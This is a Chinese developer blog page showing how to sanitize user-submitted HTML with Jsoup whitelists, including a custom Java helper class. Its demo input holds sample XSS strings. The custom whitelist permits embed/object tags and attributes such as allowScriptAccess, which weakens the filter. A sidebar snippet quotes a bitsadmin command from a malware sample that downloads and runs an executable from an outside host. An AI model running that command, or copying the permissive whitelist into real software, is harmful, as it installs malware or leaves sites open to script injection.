文档章节

用Jsoup对用户输入内容的HTML安全过滤

凯文加内特
 凯文加内特
发布于 2015/02/28 17:29
字数 546
阅读 594
收藏 13

在网站使用input或textarea提供给用户可输入内容的功能,比如发帖子,发文章,发评论等等。这时候需要后端程序对输入内容作安全过滤,比如<script>等可造成安全隐患的标签。

java中有个开源包叫Jsoup,本身用来解析html,xml文档的,特点是可以使用类似jquery的选择权语法。

最近在解决内容安全过滤的时候,通过google发现Jsoup通过自定义Whitelist(安全标签白名单)提供了这样的功能,非常好用。

简单演示如下:

//HTML cleanString unsafe = "<table><tr><td>1</td></tr></table>" +		"<img src='' alt='' />" +		"<p><a href='http://example.com/' onclick='stealCookies()'>Link</a>" +		"<object></object>" +		"<script>alert(1);</script>" +		"</p>";
String safe = Jsoup.clean(unsafe, Whitelist.relaxed());
System.out.println("safe: " + safe);

官方API地址: http://jsoup.org/apidocs/org/jsoup/safety/Whitelist.html

发现来源:

http://www.oschina.net/question/12_10232 , 据此自己写了个自定义的帮助类:

package com.cssor.safety; 
import org.jsoup.Jsoup;
import org.jsoup.helper.StringUtil;
import org.jsoup.safety.Whitelist; 
public class ContentSafeFilter {	
private final static Whitelist user_content_filter = Whitelist.relaxed();	
static {		
//增加可信标签到白名单		
user_content_filter.addTags("embed","object","param","span","div");		//增加可信属性	
user_content_filter.addAttributes(":all", "style", "class", "id", "name");		
user_content_filter.addAttributes("object", "width", "height","classid","codebase");		
user_content_filter.addAttributes("param", "name", "value");		
user_content_filter.addAttributes("embed", "src","quality","width","height","allowFullScreen","allowScriptAccess","flashvars","name","type","pluginspage");	} 	
/**	 * 对用户输入内容进行过滤	 * @param html	 * @return	 */	
public static String filter(String html) {		
if(StringUtil.isBlank(html)) return "";		
return Jsoup.clean(html, user_content_filter);		
//return filterScriptAndStyle(html);	} 
	
/**	 * 比较宽松的过滤,但是会过滤掉object,script, span,div等标签,适用于富文本编辑器内容或其他html内容	 * @param html	 * @return	 */	
public static String relaxed(String html) {		
return Jsoup.clean(html, Whitelist.relaxed());	
} 	
/**	 * 去掉所有标签,返回纯文字.适用于textarea,input	 * @param html	 * @return	 */	
public static String pureText(String html) {		
return Jsoup.clean(html, Whitelist.none());	
} 	
/**	 * @param args	 */	
public static void main(String[] args) {		
String unsafe = "<table><tr><td>1</td></tr></table>" +	"<img src='' alt='' />" +				"<p><a href='http://example.com/' onclick='stealCookies()'>Link</a>" +				"<object></object>" +				"<script>alert(1);</script>" +				"</p>";		
String safe = ContentSafeFilter.filter(unsafe);		
System.out.println("safe: " + safe);	
} 
}

Jsoup不支持相对路径图片的过滤,比如<img src=”/1.png” alt=”” />会被去掉src属性,想了个简单的方法避免:

/** * 自定义对用户输入内容进行过滤的标签 * @param html * @return */public static String filter(String html) {    if(StringUtil.isBlank(html)) return "";    String baseUri = "http://baseuri";    return Jsoup.clean(html, baseUri, user_content_filter).replaceAll("src=\"http://baseuri", "src=\"");}

http://cssor.com/jsoup-whitelist-clean-html-for-user-content.html


本文转载自:http://cssor.com/jsoup-whitelist-clean-html-for-user-content.html

共有 人打赏支持
凯文加内特
粉丝 329
博文 667
码字总数 87615
作品 0
青岛
后端工程师
加载中

评论(2)

凯文加内特
凯文加内特

引用来自“selfly”的评论

谁说Jsoup不支持相对路径图片的过滤的,明明提供了API
喷的好
首席的哥队长
首席的哥队长
谁说Jsoup不支持相对路径图片的过滤的,明明提供了API
开源中国8-2期软件推荐 jsoup — Java的HTML解析器

jsoup 是一款 Java 的HTML 解析器,可直接解析某个URL地址、HTML文本内容。本站就是采用 jsoup 来做 HTML 处理。 示例代码: File input = new File("/tmp/input.html"); Document doc = Jso...

鉴客
2010/08/09
1K
0
消除不受信任的HTML (来防止XSS攻击)

问题 在做网站的时候,经常会提供用户评论的功能。有些不怀好意的用户,会搞一些脚本到评论内容中,而这些脚本可能会破坏整个页面的行为,更严重的是获取一些机要信息,此时需要清理该HTML,...

凯文加内特
2015/02/28
0
0
KindEditor 4.1.1 发布

根据国家信息安全漏洞共享平台(即中国国家漏洞库,CNVD)要求,4.1.1版本开始默认开启白名单过滤,只能使用htmlTags里定义的HTML标签和属性,其它标签和属性会被编辑器过滤。如果要允许输入...

红薯
2012/06/12
1K
2
OSChina原创:使用 jsoup 对 HTML 文档进行解析和操作

jsoup 简介 Java 程序在解析 HTML 文档时,相信大家都接触过 htmlparser 这个开源项目,我曾经在 IBM DW 上发表过两篇关于 htmlparser 的文章,分别是:从HTML中攫取你所需的信息 和扩展 HT...

红薯
2010/12/17
17K
38
使用 jsoup 对 HTML 文档进行解析和操作

刘 柄成, 站长, 开源中国社区 简介: jsoup 是一款 Java 的 HTML 解析器,可直接解析某个 URL 地址、HTML 文本内容。它提供了一套非常省力的 API,可通过 DOM,CSS 以及类似于 jQuery 的操作...

SeanCai
2011/03/02
0
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
20分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
33分钟前
1
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
34分钟前
1
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
45分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部